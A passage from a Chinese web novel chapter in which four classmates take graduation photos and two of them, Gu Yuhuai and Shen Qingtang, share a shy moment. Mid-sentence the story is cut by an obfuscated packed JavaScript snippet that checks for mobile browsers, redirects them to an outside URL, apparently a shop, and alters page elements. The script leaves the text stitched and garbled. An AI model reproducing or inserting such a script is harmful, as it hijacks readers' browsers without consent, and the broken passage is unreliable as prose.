宋哲把手里的学士帽递给顾聿怀:“扔了也不知道捡,你是直接把学士帽放生了啊。” 顾聿怀接过来:“太高兴了,忘记了。” 宋哲把胳膊搭在顾聿怀肩膀上:“也是,不过其实我的毕业感没这么强烈,毕竟回家玩俩月又来读研了。” 顾聿怀笑笑:“那也是一个阶段结束,另一个新阶段的开始啊。” 人群慢慢散开,大家都趁着穿上了学士服找同学拍照。 宋哲眼尖地看到下面站着的张悦,站在楼梯上喊她:“张悦!你刚说要拍照的!” 他和张悦还有班上其他三个同学有个固定的五排小群,这会儿几个人凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482505|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了一起,嚷嚷着要纪念一下他们大学的五排时光。 顾聿怀就站在旁边等着宋哲一起回宿舍。 沈青棠拍完集体合照,等人散了去拿自己的包,知道张悦想跟同学拍照,于是打算跟她打个招呼就先回去了。 张悦那边正跟她的“五排小分队”拍的起劲,眼睛还滴溜滴溜乱瞟,一眼就看到了抱着包的沈青棠。 对面拍照的同学刚拍好一张让他们换姿势,她直接朝着那边招手:“青棠!这边!快来啊!” 沈青棠走过来:“你还要拍照吗?那我先回去了。” 张悦把沈青棠推到了顾聿怀旁边:“别走啊!等会儿咱们学习小组也拍一张纪念一下嘛!” 宋哲也说:“是啊,纪念一下我俩被学霸带飞的躺平经历。” 沈青棠平日里看起来和谁都是不太熟络的样子,但其实很好说话,对张悦这种“不过分”的要求,就点点头答应了。 张悦和宋哲美滋滋回去继续拍照了,留下沈青棠和顾聿怀在这边等着。 这是顾聿怀第二次和沈青棠“单独相处”,两个人站在一起又不知道该说些什么了,一人抱着一个包像雕塑似的。 最后还是顾聿怀先开了口:“毕业快乐。” 沈青棠还是那样转头看着他笑了笑,顾聿怀觉得沈青棠的眼睛很漂亮,这次他看清了沈青棠纤长的睫毛,被太阳照着为眼睛打下的阴影,笑起来弯弯的眼睛,明亮的眼珠含着千言万语。 “毕业快乐。”她也说道。 那边总算是拍完了,顾聿怀似是还想说些什么,被扑过来撞得他一个踉跄的宋哲打断了。 张悦紧随其后挽住了沈青棠的胳膊,“久等了!快来快来我们拍照!” 拿着相机的同学也跟着过来,“你们想怎么拍啊?” 沈青棠和顾聿怀都不是闹腾的性子,自然没有他们“五排小分队”拍照时那么多花里胡哨的动作造型。 张悦说:“要不就在这棵树下拍吧,正好这会儿太阳太晃眼了,可以挡一挡。” 大家都没有意见,于是把包放下准备站位。 沈青棠不爱跟人争抢,这种拍照的事情一般都习惯性站在旁边。 结果张悦推着她往中间站:“青棠你别站旁边了!刚刚大合影我都没找着你人!这么漂亮的美女当然是要站c位了!” 宋哲也在旁边附和:“对啊对啊,而且这照片是为了纪念咱们小组作业的,你可是大功臣!还有聿怀,你也来!” 两个人一人抓了一个学霸往中间推,沈青棠的肩膀轻轻撞上了顾聿怀的。 拍照的同学说:“哎可以可以这角度好!来我数三二一啊!” “三、二、一!” 毕业季的校园广播放着关于青春的音乐,这会儿正好唱到“你在左边我紧靠右”,相机将此刻定格下来。 顾聿怀的肩膀紧挨着沈青棠的,被宋哲挤得表情有些无语。 沈青棠则双手交叉放在身前,冲着镜头淡淡地微笑。身边的张悦挽着她笑得眼睛眯成了一条缝。 而宋哲则紧紧贴着顾聿怀冲镜头比耶。 夏天的风拂过,地上树叶的影子晃啊晃,像波光粼粼的湖面,闪着金色的光。 一如他们的青春,明媚又充满希望。